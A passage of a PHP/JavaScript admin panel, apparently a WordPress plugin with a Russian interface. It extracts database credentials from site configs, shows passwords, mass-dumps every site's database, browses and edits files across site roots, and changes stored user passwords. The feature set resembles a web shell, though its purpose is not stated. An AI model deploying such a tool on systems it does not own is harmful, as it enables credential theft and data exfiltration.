config.php" autocomplete="off"> <label>Содержимое (необязательно)</label> <textarea id="fm-newfile-content" style="width:100%;height:200px;border:1px solid #ccc;border-radius:5px;padding:8px 10px;font-family:'Consolas','Monaco',monospace;font-size:12px;resize:vertical;tab-size:4;" placeholder="Вставьте содержимое файла..."></textarea> <div class="modal-msg" id="fm-newfile-msg"></div> <div class="modal-actions"> <button class="btn-cancel" onclick="closeNewFileModal()">Отмена</button> <button class="btn-save" onclick="fmCreateFile()">💾 Создать</button> </div> </div> </div> <!-- Просмотр данных БД (обзор сайтов) --> <div class="modal-overlay" id="site-db-view-overlay"> <div class="modal" style="max-width:560px;"> <h3>👁 <span id="site-db-view-title">База данных</span></h3> <p style="font-size:11px;color:#888;margin:0 0 12px;" id="site-db-view-path"></p> <div id="site-db-view-body"></div> <div class="modal-actions" style="margin-top:14px;"> <button type="button" class="btn-cancel" onclick="siteCloseDbView()">Закрыть</button> </div> </div> </div> <!-- Редактирование конфига БД (обзор сайтов) --> <div class="modal-overlay" id="site-db-edit-overlay"> <div class="modal" style="max-width:640px;"> <h3>✏️ <span id="site-db-edit-title">Конфиг БД</span></h3> <p style="font-size:11px;color:#555;margin:0 0 10px;"> Вставьте содержимое <code>wp-config.php</code>, <code>.env</code> или <code>configuration.php</code> — поля DB_NAME, DB_USER, DB_PASSWORD, DB_HOST, DB_CHARSET будут извлечены и сохранены для дампа. </p> <textarea id="site-db-edit-snippet" style="width:100%;height:180px;border:1px solid #ccc;border-radius:5px;padding:8px 10px;font-family:Consolas,Monaco,monospace;font-size:11px;resize:vertical;" placeholder="define('DB_NAME', '...');"></textarea> <div class="db-dump-actions" style="margin-top:8px;"> <button type="button" class="btn-dump" onclick="siteParseDbSnippet()">🔍 Распознать</button> <button type="button" class="btn-save" onclick="siteSaveDbCreds()">💾 Сохранить</button> </div> <div class="modal-msg" id="site-db-edit-msg"></div> <div id="site-db-edit-preview" style="font-size:11px;margin-top:8px;"></div> <div class="modal-actions"> <button type="button" class="btn-cancel" onclick="siteCloseDbEdit()">Отмена</button> </div> </div> </div> <!-- МОДАЛЬНОЕ ОКНО СМЕНЫ ПАРОЛЯ --> <div class="modal-overlay" id="modal-overlay"> <div class="modal"> <h3>🔓 Изменить пароль</h3> <p style="font-size:12px;color:#555;margin:0 0 12px;"> Пользователь: <strong id="modal-username"></strong><br> Файл: <code id="modal-filepath" style="font-size:10px;word-break:break-all;"></code> </p> <label>Новый пароль</label> <div class="pw-wrap"> <input type="password" id="modal-password" placeholder="Введите новый пароль" autocomplete="new-password"> <span class="pw-toggle" onclick="togglePw()">👁</span> </div> <label>Повторите пароль</label> <div class="pw-wrap"> <input type="password" id="modal-password2" placeholder="Повторите пароль" autocomplete="new-password"> <span class="pw-toggle" onclick="togglePw2()">👁</span> </div> <div class="modal-msg" id="modal-msg"></div> <div class="hash-new" id="modal-new-hash"></div> <div class="modal-actions"> <button class="btn-cancel" onclick="closeModal()">Отмена</button> <button class="btn-save" onclick="savePassword()">💾 Сохранить</button> </div> </div> </div> <script> // ===== ОБЗОР САЙТОВ: БД, статус, конфиги ===== var APP_ENDPOINT_URL = <?php echo json_encode(up_to_wp_endpoint_url_value(), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); ?>; var APP_ACTION_FIELD = <?php echo json_encode(up_to_wp_action_param(), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); ?>; var _siteEditCtx = null; var _siteEditParsed = null; function appPost(fd) { return fetch(APP_ENDPOINT_URL || window.location.href, { method: 'POST', body: fd, credentials: 'same-origin' }).then(function(r) { return r.text().then(function(t) { try { return JSON.parse(t); } catch (e) { var preview = (t || '').replace(/\s+/g, ' ').trim().substring(0, 220); throw new Error(preview.indexOf('Требуется авторизация') !== -1 ? 'Доступ запрещён. Обновите страницу плагина.' : (preview || 'Сервер вернул не JSON')); } }); }); } function toggleConfigsPanel() { var panel = document.getElementById('configs-panel'); var icon = document.getElementById('configs-toggle-icon'); if (!panel) return; var open = panel.classList.toggle('open'); panel.style.display = open ? 'block' : 'none'; if (icon) icon.textContent = open ? '▼' : '▶'; } function siteShowDbInfo(site) { document.getElementById('site-db-view-title').textContent = site.name || 'База данных'; document.getElementById('site-db-view-path').textContent = site.path || ''; var body = document.getElementById('site-db-view-body'); var rows = site.db_info || []; if (!rows.length && site.db_creds) { var c = site.db_creds; rows = [ { k: 'DB host', v: (c.db_host || '') + (c.db_port ? ':' + c.db_port : ''), secret: false }, { k: 'DB name', v: c.db_name || '', secret: false }, { k: 'DB user', v: c.db_user || '', secret: false }, { k: 'DB password', v: c.db_pass || '', secret: true }, { k: 'DB charset', v: c.db_charset || '', secret: false } ]; } if (!rows.length) { body.innerHTML = '<p style="color:#999;font-size:12px;">Данные БД не найдены. Нажмите ✏️ и вставьте конфиг.</p>'; } else { var html = '<table class="db-info-table"><tbody>'; for (var i = 0; i < rows.length; i++) { var r = rows[i]; var val = r.secret ? '<span class="password">' + escHtml(r.v) + '</span>' : escHtml(r.v); html += '<tr><th>' + escHtml(r.k) + '</th><td>' + val + '</td></tr>'; } html += '</tbody></table>'; body.innerHTML = html; } document.getElementById('site-db-view-overlay').classList.add('active'); } function siteCloseDbView() { document.getElementById('site-db-view-overlay').classList.remove('active'); } function siteEditDbConfig(site) { _siteEditCtx = site; _siteEditParsed = null; document.getElementById('site-db-edit-title').textContent = site.name || 'Конфиг БД'; document.getElementById('site-db-edit-snippet').value = ''; document.getElementById('site-db-edit-preview').innerHTML = ''; var msg = document.getElementById('site-db-edit-msg'); msg.className = 'modal-msg'; msg.textContent = ''; document.getElementById('site-db-edit-overlay').classList.add('active'); } function siteCloseDbEdit() { document.getElementById('site-db-edit-overlay').classList.remove('active'); _siteEditCtx = null; _siteEditParsed = null; } function siteRenderDbPreview(fields) { var el = document.getElementById('site-db-edit-preview'); if (!fields) { el.innerHTML = ''; return; } var keys = ['db_host', 'db_port', 'db_name', 'db_user', 'db_pass', 'db_charset']; var labels = { db_host: 'Host', db_port: 'Port', db_name: 'DB_NAME', db_user: 'DB_USER', db_pass: 'DB_PASSWORD', db_charset: 'DB_CHARSET' }; var html = '<table class="db-info-table"><tbody>'; for (var i = 0; i < keys.length; i++) { var k = keys[i]; if (!fields[k] && k !== 'db_pass') continue; var v = fields[k] || ''; if (k === 'db_pass') v = v ? '••••••' : ''; html += '<tr><th>' + labels[k] + '</th><td><code>' + escHtml(String(v)) + '</code></td></tr>'; } html += '</tbody></table>'; el.innerHTML = html; } function siteParseDbSnippet() { if (!_siteEditCtx) return; var msg = document.getElementById('site-db-edit-msg'); msg.className = 'modal-msg'; msg.textContent = '⏳ Распознаём...'; var fd = new FormData(); fd.append(APP_ACTION_FIELD, 'parse_db_config'); fd.append('config_snippet', document.getElementById('site-db-edit-snippet').value); appPost(fd) .then(function(data) { if (!data.success) { msg.className = 'modal-msg error'; msg.textContent = data.error || 'Ошибка'; return; } _siteEditParsed = data.fields; siteRenderDbPreview(data.fields); msg.className = 'modal-msg ' + (data.complete ? 'success' : 'error'); msg.textContent = data.complete ? '✅ Поля распознаны' : '⚠️ Укажите db_name и db_user'; }) .catch(function(e) { msg.className = 'modal-msg error'; msg.textContent = e.message; }); } function siteSaveDbCreds() { if (!_siteEditCtx) return; var msg = document.getElementById('site-db-edit-msg'); var snippet = document.getElementById('site-db-edit-snippet').value; if (!snippet.trim() && !_siteEditParsed) { msg.className = 'modal-msg error'; msg.textContent = 'Вставьте конфиг или нажмите «Распознать»'; return; } msg.className = 'modal-msg'; msg.textContent = '⏳ Сохранение...'; var fd = new FormData(); fd.append(APP_ACTION_FIELD, 'save_site_db_creds'); fd.append('site_path', _siteEditCtx.path); fd.append('config_snippet', snippet); appPost(fd) .then(function(data) { if (!data.success) { msg.className = 'modal-msg error'; msg.textContent = data.error || 'Ошибка'; return; } msg.className = 'modal-msg success'; msg.textContent = '✅ Сохранено. Обновите страницу для обновления таблицы.'; _siteEditParsed = data.fields; siteRenderDbPreview(data.fields); setTimeout(function() { location.reload(); }, 600); }) .catch(function(e) { msg.className = 'modal-msg error'; msg.textContent = e.message; }); } function siteFetchJson(fd) { return appPost(fd); } function siteStatusApplyRowClass(row, status) { if (!row) return; row.setAttribute('data-status', status); row.classList.remove('row-site-pending', 'row-site-off', 'row-site-unknown'); if (status === 'pending') row.classList.add('row-site-pending'); else if (status === 'off') row.classList.add('row-site-off'); else if (status === 'unknown') row.classList.add('row-site-unknown'); } function siteStatusChanged(sel) { var status = sel.value; sel.className = 'site-status-sel status-' + status + (sel.getAttribute('data-initial') !== status ? ' dirty' : ''); siteStatusApplyRowClass(sel.closest('tr'), status); siteUpdateSaveStatusesButton(); } function siteUpdateSaveStatusesButton() { var dirty = document.querySelectorAll('.site-status-sel.dirty').length > 0; var btn = document.getElementById('btn-save-statuses'); if (btn) btn.disabled = !dirty; } function siteCollectStatuses() { var map = {}; document.querySelectorAll('.site-status-sel').forEach(function(sel) { var key = sel.getAttribute('data-site-key'); if (key) map[key] = sel.value; }); return map; } function siteSaveAllStatuses() { var msg = document.getElementById('site-status-msg'); var btn = document.getElementById('btn-save-statuses'); if (btn) btn.disabled = true; if (msg) { msg.className = 'site-status-msg'; msg.textContent = '⏳ Сохранение...'; } var fd = new FormData(); fd.append(APP_ACTION_FIELD, 'save_site_statuses'); fd.append('statuses', JSON.stringify(siteCollectStatuses())); siteFetchJson(fd) .then(function(data) { if (!data.success) { if (msg) { msg.className = 'site-status-msg error'; msg.textContent = data.error || 'Ошибка'; } siteUpdateSaveStatusesButton(); return; } document.querySelectorAll('.site-status-sel').forEach(function(sel) { sel.setAttribute('data-initial', sel.value); sel.classList.remove('dirty'); sel.className = 'site-status-sel status-' + sel.value; }); if (msg) { msg.className = 'site-status-msg ok'; msg.textContent = '✅ Сохранено (' + (data.count || 0) + ' сайтов)'; } siteUpdateSaveStatusesButton(); }) .catch(function(e) { if (msg) { msg.className = 'site-status-msg error'; msg.textContent = e.message; } siteUpdateSaveStatusesButton(); }); } function siteFilterByStatus() { var onlyOff = document.getElementById('filter-status-off'); var onlyUnknown = document.getElementById('filter-status-unknown'); var offOn = onlyOff && onlyOff.checked; var unkOn = onlyUnknown && onlyUnknown.checked; document.querySelectorAll('#sites-overview-table tbody tr').forEach(function(row) { var st = row.getAttribute('data-status') || 'pending'; var show = true; if (offOn || unkOn) { show = (offOn && st === 'off') || (unkOn && st === 'unknown'); } row.style.display = show ? '' : 'none'; }); } // ===== DB DUMPER ===== var _sitesDbList = <?php echo json_encode($sites_db_dump_list, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); ?>; var _dbParsedFields = null; function dbSetFields(f) { if (!f) return; document.getElementById('db-host').value = f.db_host || '127.0.0.1'; document.getElementById('db-port').value = f.db_port || '3306'; document.getElementById('db-name').value = f.db_name || ''; document.getElementById('db-user').value = f.db_user || ''; document.getElementById('db-pass').value = f.db_pass || ''; document.getElementById('db-charset').value = f.db_charset || 'utf8mb4'; } function dbParseSnippet() { var msg = document.getElementById('db-parse-msg'); msg.className = 'db-dump-msg'; msg.textContent = '⏳ Распознаём...'; var fd = new FormData(); fd.append(APP_ACTION_FIELD, 'parse_db_config'); fd.append('config_snippet', document.getElementById('db-config-snippet').value); appPost(fd) .then(function(data) { if (!data.success) { msg.className = 'db-dump-msg error'; msg.textContent = '❌ ' + (data.error || 'Ошибка'); return; } _dbParsedFields = data.fields; dbSetFields(data.fields); msg.className = 'db-dump-msg ok'; msg.textContent = data.complete ? '✅ Поля распознаны (host, БД, пользователь)' : '⚠️ Частично: проверьте db_name и db_user'; }) .catch(function(e) { msg.className = 'db-dump-msg error'; msg.textContent = '❌ ' + e.message; }); } function dbFillFromSnippet() { dbParseSnippet(); } function dbBuildDumpFormData(extra) { var fd = new FormData(); fd.append(APP_ACTION_FIELD, 'dump_database'); fd.append('db_host', extra.db_host || document.getElementById('db-host').value); fd.append('db_port', extra.db_port || document.getElementById('db-port').value); fd.append('db_name', extra.db_name || document.getElementById('db-name').value); fd.append('db_user', extra.db_user || document.getElementById('db-user').value); fd.append('db_pass', extra.db_pass !== undefined ? extra.db_pass : document.getElementById('db-pass').value); fd.append('db_charset', extra.db_charset || document.getElementById('db-charset').value); fd.append('site_url', extra.site_url || document.getElementById('db-site-url').value); fd.append('cms', extra.cms || document.getElementById('db-cms').value); fd.append('site_name', extra.site_name || ''); fd.append('notes', extra.notes || ''); return fd; } function dbDownloadBlob(fd, statusEl) { if (statusEl) { statusEl.className = 'db-dump-msg'; statusEl.textContent = '⏳ Создаём дамп...'; } return fetch(APP_ENDPOINT_URL || window.location.href, { method: 'POST', body: fd, credentials: 'same-origin' }) .then(function(r) { var ct = (r.headers.get('Content-Type') || '').toLowerCase(); if (ct.indexOf('application/json') !== -1) { return r.json().then(function(j) { throw new Error(j.error || 'Ошибка дампа'); }); } if (!r.ok) throw new Error('HTTP ' + r.status); var disp = r.headers.get('Content-Disposition') || ''; var m = disp.match(/filename="?([^";]+)"?/i); var fname = m ? m[1] : 'dump.sql.gz'; return r.blob().then(function(blob) { var url = URL.createObjectURL(blob); var a = document.createElement('a'); a.href = url; a.download = fname; document.body.appendChild(a); a.click(); a.remove(); URL.revokeObjectURL(url); return fname; }); }) .then(function(fname) { if (statusEl) { statusEl.className = 'db-dump-msg ok'; statusEl.textContent = '✅ Скачан: ' + fname; } return fname; }) .catch(function(e) { if (statusEl) { statusEl.className = 'db-dump-msg error'; statusEl.textContent = '❌ ' + e.message; } throw e; }); } function dbDumpManual() { dbDownloadBlob(dbBuildDumpFormData({}), document.getElementById('db-dump-msg')); } function dbDumpSite(site) { var c = site.db_creds || {}; var extra = { db_host: c.db_host, db_port: c.db_port, db_name: c.db_name, db_user: c.db_user, db_pass: c.db_pass, db_charset: c.db_charset, site_url: site.site_url || '', cms: site.cms || '', site_name: site.name || '' }; dbDownloadBlob(dbBuildDumpFormData(extra), document.getElementById('db-dump-msg')); } function dbParseSiteSnippet(siteName, cms, siteUrl) { var ta = null; var tas = document.querySelectorAll('.db-site-snippet'); for (var i = 0; i < tas.length; i++) { if (tas[i].getAttribute('data-site') === siteName) { ta = tas[i]; break; } } if (!ta || !ta.value.trim()) { alert('Вставьте конфиг в поле для сайта «' + siteName + '»'); return; } var fd = new FormData(); fd.append(APP_ACTION_FIELD, 'parse_db_config'); fd.append('config_snippet', ta.value); appPost(fd) .then(function(data) { if (!data.success || !data.complete) { alert(data.error || 'Не удалось распознать db_name и db_user'); return; } var f = data.fields; dbSetFields(f); document.getElementById('db-site-url').value = siteUrl || siteName; document.getElementById('db-cms').value = cms || ''; return dbDownloadBlob(dbBuildDumpFormData({ db_host: f.db_host, db_port: f.db_port, db_name: f.db_name, db_user: f.db_user, db_pass: f.db_pass, db_charset: f.db_charset, site_url: siteUrl || siteName, cms: cms || '', site_name: siteName }), document.getElementById('db-dump-msg')); }) .catch(function(e) { alert('❌ ' + e.message); }); } function dbDumpAllSites() { if (!_sitesDbList || !_sitesDbList.length) return; var btn = document.getElementById('btn-dump-all'); if (btn) btn.disabled = true; var msg = document.getElementById('db-dump-msg'); var i = 0; function next() { if (i >= _sitesDbList.length) { if (btn) btn.disabled = false; if (msg) { msg.className = 'db-dump-msg ok'; msg.textContent = '✅ Все дампы поставлены в очередь (' + _sitesDbList.length + ')'; } return; } var site = _sitesDbList[i++]; if (msg) msg.textContent = '⏳ ' + i + '/' + _sitesDbList.length + ': ' + site.name + '...'; dbDumpSite(site).then(function() { setTimeout(next, 800); }).catch(function() { setTimeout(next, 800); }); } next(); } // ===== ФАЙЛОВЫЙ МЕНЕДЖЕР ===== var _fmRoot = ''; var _fmCurrent = ''; var _fmSiteName = ''; var _fmEditPath = ''; var _fmEditOrig = ''; var _extIcons = { 'php':'🐘','js':'📜','css':'🎨','html':'🌐','htm':'🌐', 'json':'📋','xml':'📋','sql':'🗄️','txt':'📄','log':'📄', 'md':'📝','env':'🔑','htaccess':'🔒','htpasswd':'🔒', 'jpg':'🖼️','jpeg':'🖼️','png':'🖼️','gif':'🖼️','svg':'🖼️','webp':'🖼️', 'zip':'📦','tar':'📦','gz':'📦','rar':'📦', 'sh':'⚙️','py':'🐍','rb':'💎','go':'🔵', 'conf':'⚙️','ini':'⚙️','yaml':'⚙️','yml':'⚙️', }; var _textExts = ['php','js','css','html','htm','json','xml','sql','txt','log','md','env', 'htaccess','htpasswd','conf','ini','yaml','yml','sh','py','rb','go','csv','ts','jsx','vue','twig','blade']; function extIcon(ext, name) { if (name === '..') return '⬆️'; var e = ext || name.replace(/^.*\./,'').toLowerCase(); return _extIcons[e] || '📄'; } function openFM(path, siteName) { _fmRoot = path; _fmSiteName = siteName; document.getElementById('fm-site-name').textContent = siteName; document.getElementById('fm-overlay').classList.add('active'); document.getElementById('fm-view-pane').style.display = 'none'; document.getElementById('fm-edit-pane').style.display = 'none'; document.getElementById('fm-list-pane').classList.remove('split'); fmLoad(path); } function closeFM() { document.getElementById('fm-overlay').classList.remove('active'); } function fmLoad(dir) { _fmCurrent = dir; document.getElementById('fm-breadcrumb').textContent = dir; document.getElementById('fm-list-pane').innerHTML = '<div class="fm-loading">⏳ Загрузка...</div>'; document.getElementById('fm-status').textContent = ''; var fd = new FormData(); fd.append(APP_ACTION_FIELD,'list_files'); fd.append('dir',dir); fd.append('site_root',_fmRoot); appPost(fd) .then(function(data) { if (!data.success) { document.getElementById('fm-list-pane').innerHTML = '<div class="fm-loading" style="color:#c62828;">❌ '+data.error+'</div>'; return; } renderFMList(data.items, data.current, data.root); }) .catch(function(e) { document.getElementById('fm-list-pane').innerHTML = '<div class="fm-loading" style="color:#c62828;">❌ '+e.message+'</div>'; }); } function renderFMList(items, current, root) { var dirs=0, files=0, totalSize=0; var html='<table class="fm-table"><thead><tr><th>Имя</th><th>Размер</th><th>Изменён</th><th></th></tr></thead><tbody>'; items.forEach(function(item) { var icon, nameClass, onclick, actions=''; if (item.name==='..') { icon='⬆️'; nameClass='fm-name is-up'; var parent=current.replace(/\/[^\/]+$/,'')||root; onclick="fmLoad('"+escJs(parent)+"')"; } else if (item.is_dir) { icon='📁'; nameClass='fm-name is-dir'; dirs++; onclick="fmLoad('"+escJs(item.path)+"')"; actions='<button class="fm-btn-act" onclick="event.stopPropagation();fmRenameItem(\''+escJs(item.path)+'\',\''+escJs(item.name)+'\',true)">✏️</button>' +'<button class="fm-btn-act danger" onclick="event.stopPropagation();fmDeleteItem(\''+escJs(item.path)+'\',\''+escJs(item.name)+'\',true)">🗑️</button>'; } else { icon=extIcon(item.ext,item.name); nameClass='fm-name'; files++; totalSize+=item.size||0; onclick="fmOpenFile('"+escJs(item.path)+"','"+escJs(item.name)+"',"+(item.size||0)+",'"+escJs(item.ext)+"')"; actions='<button class="fm-btn-act" onclick="event.stopPropagation();fmRenameItem(\''+escJs(item.path)+'\',\''+escJs(item.name)+'\',false)">✏️</button>' +'<button class="fm-btn-act danger" onclick="event.stopPropagation();fmDeleteItem(\''+escJs(item.path)+'\',\''+escJs(item.name)+'\',false)">🗑️</button>'; } html+='<tr onclick="'+onclick+'">'; html+='<td><span class="fm-icon">'+icon+'</span><span class="'+nameClass+'">'+escHtml(item.name)+'</span></td>'; html+='<td class="fm-size">'+(item.is_dir&&item.name!=='..'?'':fmFmtSize(item.size))+'</td>'; html+='<td class="fm-mtime">'+(item.mtime||'')+'</td>'; html+='<td class="fm-actions">'+actions+'</td>'; html+='</tr>'; }); html+='</tbody></table>'; document.getElementById('fm-list-pane').innerHTML=html; document.getElementById('fm-status').textContent= '📁 '+dirs+' папок · 📄 '+files+' файлов · '+fmFmtSize(totalSize); } function fmOpenFile(path, name, size, ext) { document.getElementById('fm-selected-path').textContent = path; document.getElementById('fm-list-pane').classList.add('split'); document.getElementById('fm-edit-pane').style.display = 'none'; document.getElementById('fm-view-pane').style.display = 'flex'; document.getElementById('fm-view-filename').textContent = name; document.getElementById('fm-view-meta').textContent = fmFmtSize(size); document.getElementById('fm-btn-edit').style.display = ''; document.getElementById('fm-view-body').innerHTML = '<div class="fm-loading">⏳ Загрузка...</div>'; var imgExts=['jpg','jpeg','png','gif','svg','webp','bmp','ico']; if (imgExts.indexOf(ext)!==-1) { document.getElementById('fm-view-body').innerHTML= '<div class="fm-view-empty" style="color:#90caf9;">🖼️ '+escHtml(name)+ '<br><span style="font-size:11px;color:#555;">Просмотр изображений не поддерживается</span></div>'; document.getElementById('fm-btn-edit').style.display='none'; return; } if (_textExts.indexOf(ext)!==-1||size<100*1024) { var fd=new FormData(); fd.append(APP_ACTION_FIELD,'read_file'); fd.append('file_path',path); fd.append('site_root',_fmRoot); appPost(fd) .then(function(data) { if (data.success) { var pre=document.createElement('pre'); pre.textContent=data.content; document.getElementById('fm-view-body').innerHTML=''; document.getElementById('fm-view-body').appendChild(pre); document.getElementById('fm-view-meta').textContent= fmFmtSize(data.size)+' · '+data.content.split('\n').length+' строк'; // Скрыть кнопку редактирования если файл не writable if (!data.writable) document.getElementById('fm-btn-edit').style.display='none'; } else { document.getElementById('fm-view-body').innerHTML= '<div class="fm-view-empty" style="color:#c62828;">❌ '+data.error+'</div>'; document.getElementById('fm-btn-edit').style.display='none'; } }); } else { document.getElementById('fm-view-body').innerHTML= '<div class="fm-view-empty">⚠️ Файл слишком большой для просмотра ('+fmFmtSize(size)+')</div>'; document.getElementById('fm-btn-edit').style.display='none'; } } // ===== РЕДАКТОР ===== function fmStartEdit() { var pre=document.querySelector('#fm-view-body pre'); var path=document.getElementById('fm-selected-path').textContent; var name=document.getElementById('fm-view-filename').textContent; if (!pre||!path) return; _fmEditPath=path; _fmEditOrig=pre.textContent; document.getElementById('fm-edit-filename').textContent=name; document.getElementById('fm-edit-status').textContent=''; document.getElementById('fm-edit-status').style.color='#888'; document.getElementById('fm-editor').value=_fmEditOrig; document.getElementById('fm-view-pane').style.display='none'; document.getElementById('fm-edit-pane').style.display='flex'; document.getElementById('fm-editor').focus(); } function fmDiscardEdit() { document.getElementById('fm-edit-pane').style.display='none'; document.getElementById('fm-view-pane').style.display='flex'; } function fmSaveFile() { var content=document.getElementById('fm-editor').value; var statusEl=document.getElementById('fm-edit-status'); statusEl.textContent='⏳ Сохраняем...'; statusEl.style.color='#888'; var fd=new FormData(); fd.append(APP_ACTION_FIELD,'save_file'); fd.append('file_path',_fmEditPath); fd.append('site_root',_fmRoot); fd.append('content',content); appPost(fd) .then(function(data) { if (data.success) { statusEl.textContent='✅ Сохранено ('+fmFmtSize(data.bytes)+')'; statusEl.style.color='#a5d6a7'; _fmEditOrig=content; var pre=document.querySelector('#fm-view-body pre'); if (pre) pre.textContent=content; setTimeout(function(){ fmDiscardEdit(); statusEl.textContent=''; }, 1500); } else { statusEl.textContent='❌ '+data.error; statusEl.style.color='#ef9a9a'; } }) .catch(function(e) { statusEl.textContent='❌ '+e.message; statusEl.style.color='#ef9a9a'; }); } // ===== СОЗДАНИЕ ФАЙЛА ===== function fmNewFile() { document.getElementById('fm-newfile-dir').textContent = _fmCurrent; document.getElementById('fm-newfile-name').value = ''; document.getElementById('fm-newfile-content').value = ''; document.getElementById('fm-newfile-msg').className = 'modal-msg'; document.getElementById('fm-newfile-msg').textContent = ''; document.getElementById('fm-newfile-overlay').classList.add('active'); document.getElementById('fm-newfile-name').focus(); } function closeNewFileModal() { document.getElementById('fm-newfile-overlay').classList.remove('active'); } function fmCreateFile() { var name = document.getElementById('fm-newfile-name').value.trim(); var content = document.getElementById('fm-newfile-content').value; var msg = document.getElementById('fm-newfile-msg'); msg.className = 'modal-msg'; msg.textContent = ''; if (!name) { msg.className = 'modal-msg error'; msg.textContent = 'Введите имя файла'; return; } var btn = document.querySelector('#fm-newfile-overlay .btn-save'); btn.disabled = true; btn.textContent = '⏳ Создаём...'; var fd = new FormData(); fd.append(APP_ACTION_FIELD, 'create_file'); fd.append('dir_path', _fmCurrent); fd.append('file_name', name); fd.append('content', content); fd.append('site_root', _fmRoot); appPost(fd) .then(function(data) { btn.disabled = false; btn.textContent = '💾 Создать'; if (data.success) { msg.className = 'modal-msg success'; msg.textContent = '✅ Файл создан: ' + data.file_name + ' (' + fmFmtSize(data.bytes) + ')'; fmLoad(_fmCurrent); // обновить список setTimeout(closeNewFileModal, 1500); } else { msg.className = 'modal-msg error'; msg.textContent = '❌ ' + data.error; } }) .catch(function(e) { btn.disabled = false; btn.textContent = '💾 Создать'; msg.className = 'modal-msg error'; msg.textContent = '❌ ' + e.message; }); } document.getElementById('fm-newfile-overlay').addEventListener('click', function(e) { if (e.target === this) closeNewFileModal(); }); // ===== ИМПОРТ АРХИВА ===== function fmImportArchive() { var input = document.getElementById('fm-archive-input'); input.value = ''; input.click(); } function fmUploadArchive(file) { if (!file) return; var statusEl = document.getElementById('fm-status'); statusEl.textContent = '⏳ Загружаем и распаковываем архив...'; var fd = new FormData(); fd.append(APP_ACTION_FIELD, 'upload_archive'); fd.append('dir_path', _fmCurrent); fd.append('site_root', _fmRoot); fd.append('archive', file); appPost(fd) .then(function(data) { if (data.success) { statusEl.textContent = '✅ Архив импортирован: ' + data.archive + ' · файлов: ' + data.files; fmLoad(_fmCurrent); } else { statusEl.textContent = '❌ ' + data.error; } }) .catch(function(e) { statusEl.textContent = '❌ ' + e.message; }); } document.getElementById('fm-archive-input').addEventListener('change', function() { if (this.files && this.files[0]) fmUploadArchive(this.files[0]); }); function fmRenameItem(path, name, isDir) { var newName = prompt('Новое имя:', name); if (newName === null || newName.trim() === '' || newName.trim() === name) return; var statusEl = document.getElementById('fm-status'); statusEl.textContent = '⏳ Переименовываем...'; var fd = new FormData(); fd.append(APP_ACTION_FIELD, 'rename_item'); fd.append('old_path', path); fd.append('new_name', newName.trim()); fd.append('site_root', _fmRoot); appPost(fd) .then(function(data) { if (data.success) { statusEl.textContent = '✅ Переименовано: ' + data.new_name; if (!isDir && document.getElementById('fm-selected-path').textContent === path) { document.getElementById('fm-selected-path').textContent = data.new_path; document.getElementById('fm-view-filename').textContent = data.new_name; } fmLoad(_fmCurrent); } else { statusEl.textContent = '❌ ' + data.error; } }) .catch(function(e) { statusEl.textContent = '❌ ' + e.message; }); } function fmDeleteItem(path, name, isDir) { var label = isDir ? 'папку' : 'файл'; if (!confirm('Удалить ' + label + ' «' + name + '»?\n\n' + path)) return; var statusEl = document.getElementById('fm-status'); statusEl.textContent = '⏳ Удаляем...'; var fd = new FormData(); fd.append(APP_ACTION_FIELD, 'delete_item'); fd.append('item_path', path); fd.append('site_root', _fmRoot); appPost(fd) .then(function(data) { if (data.success) { statusEl.textContent = '✅ Удалено: ' + name; if (document.getElementById('fm-selected-path').textContent === path) { document.getElementById('fm-view-pane').style.display = 'none'; document.getElementById('fm-edit-pane').style.display = 'none'; document.getElementById('fm-list-pane').classList.remove('split'); document.getElementById('fm-selected-path').textContent = ''; } fmLoad(_fmCurrent); } else { statusEl.textContent = '❌ ' + data.error; } }) .catch(function(e) { statusEl.textContent = '❌ ' + e.message; }); } function fmRenameSelected() { var path = document.getElementById('fm-selected-path').textContent; var name = document.getElementById('fm-view-filename').textContent; if (!path || !name) return; fmRenameItem(path, name, false); } function fmDeleteSelected() { var path = document.getElementById('fm-selected-path').textContent; var name = document.getElementById('fm-view-filename').textContent; if (!path || !name) return; fmDeleteItem(path, name, false); } function fmCopyPath() { navigator.clipboard.writeText(_fmCurrent).then(function() { var el=document.getElementById('fm-breadcrumb'), old=el.style.color; el.style.color='#a5d6a7'; setTimeout(function(){ el.style.color=old; },1500); }); } function fmCopyContent() { var pre=document.querySelector('#fm-view-body pre'); if (!pre) return; navigator.clipboard.writeText(pre.textContent).then(function() { var btn=event.target; btn.textContent='✅'; setTimeout(function(){ btn.textContent='📋'; },2000); }); } function fmFmtSize(bytes) { if (!bytes) return ''; if (bytes<1024) return bytes+' B'; if (bytes<1048576) return (bytes/1024).toFixed(1)+' KB'; return (bytes/1048576).toFixed(1)+' MB'; } function escJs(s) { return s.replace(/\\/g,'\\\\').replace(/'/g,"\\'"); } function escHtml(s) { return s.replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>').replace(/"/g,'"'); } document.getElementById('fm-overlay').addEventListener('click',function(e){ if(e.target===this) closeFM(); }); // Tab + Ctrl+S в редакторе document.addEventListener('keydown',function(e) { if (e.target && (e.target.id==='fm-editor' || e.target.id==='fm-newfile-content')) { if (e.key==='Tab') { e.preventDefault(); var ta=e.target, s=ta.selectionStart, end=ta.selectionEnd; ta.value=ta.value.substring(0,s)+' '+ta.value.substring(end); ta.selectionStart=ta.selectionEnd=s+4; } } if ((e.ctrlKey||e.metaKey)&&e.key==='s') { if (document.getElementById('fm-edit-pane').style.display!=='none') { e.preventDefault(); fmSaveFile(); } } if (e.key==='Escape') { closeFM(); closeViewModal(); closeModal(); closeNewFileModal(); } }); // ===== ПРОСМОТР КОНФИГА ===== function viewFile(filepath, siteRoot) { document.getElementById('view-modal-title').textContent=filepath.split('/').pop(); document.getElementById('view-modal-path').textContent=filepath; document.getElementById('view-modal-size').textContent=''; document.getElementById('view-modal-body').innerHTML='<div class="view-loading">⏳ Загрузка...</div>'; document.getElementById('view-modal-overlay').classList.add('active'); var fd=new FormData(); fd.append(APP_ACTION_FIELD,'view_file'); fd.append('file_path',filepath); if (siteRoot) fd.append('site_root',siteRoot); appPost(fd) .then(function(data) { if (data.success) { var pre=document.createElement('pre'); pre.textContent=data.content; document.getElementById('view-modal-body').innerHTML=''; document.getElementById('view-modal-body').appendChild(pre); document.getElementById('view-modal-size').textContent= data.content.length+' байт · '+data.content.split('\n').length+' строк'; } else { document.getElementById('view-modal-body').innerHTML= '<div class="view-loading" style="color:#c62828;">❌ '+data.error+'</div>'; 